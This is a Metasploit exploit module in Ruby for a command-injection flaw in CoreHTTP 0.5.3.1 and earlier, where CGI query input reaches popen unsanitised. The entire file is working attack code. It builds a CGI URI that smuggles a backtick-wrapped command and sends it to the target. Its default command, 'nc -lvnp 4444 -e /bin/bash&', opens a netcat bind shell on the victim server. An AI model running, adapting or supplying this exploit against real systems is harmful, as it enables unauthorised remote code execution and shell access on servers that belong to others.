|
###
## MSF Exploit for CoreHTTP CGI Enabled Remote Arbitrary Command Execution
## CoreHTTP fails to properly sanitize user input before passing it to popen,
## allowing anyone with a web browser to run arbitrary commands.
## No CVE for this yet.
###
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'corehttp remote command execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in corehttp versions 0.5.3.1 and earlier.
It requires that you know the name of a cgi file on the server.
NOTE: If you want to do something more than remote shell, you'll have to change CGICMD
},
'Author' => [ 'Aaron Conole' ],
'License' => MSF_LICENSE,
'Version' => '$Revision:
,
'References' =>
[
[ 'URL', 'http://aconole.brad-x.com/advisories/corehttp.txt' ],
[ 'URL', 'http://corehttp.sourceforge.net' ],
],
'Priviledged' => false,
'Payload' =>
{
'Space' => 1024,
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0))
register_options(
[
OptString.new('CGIURI', [true, "The URI of the CGI file to request", "/foo.pl"]),
OptString.new('CGICMD', [true, "The command to execute on the remote machine (note: it doesn't support redirection)", "nc -lvnp 4444 -e /bin/bash&"])
], self.class)
end
def exploit
timeout = 0.01
print_status ("Building URI")
uri = ""
uri = uri.concat(datastore['CGIURI'])
uri = uri.concat("?%60")
uri.concat(datastore['CGICMD'])
uri = uri.gsub(" ", "%20")
uri.concat("%60")
uri = uri.gsub("&", "%26")
print_status("Trying URI #{uri}")
response = send_request_raw({ 'uri' => uri}, timeout)
handler
end
end
|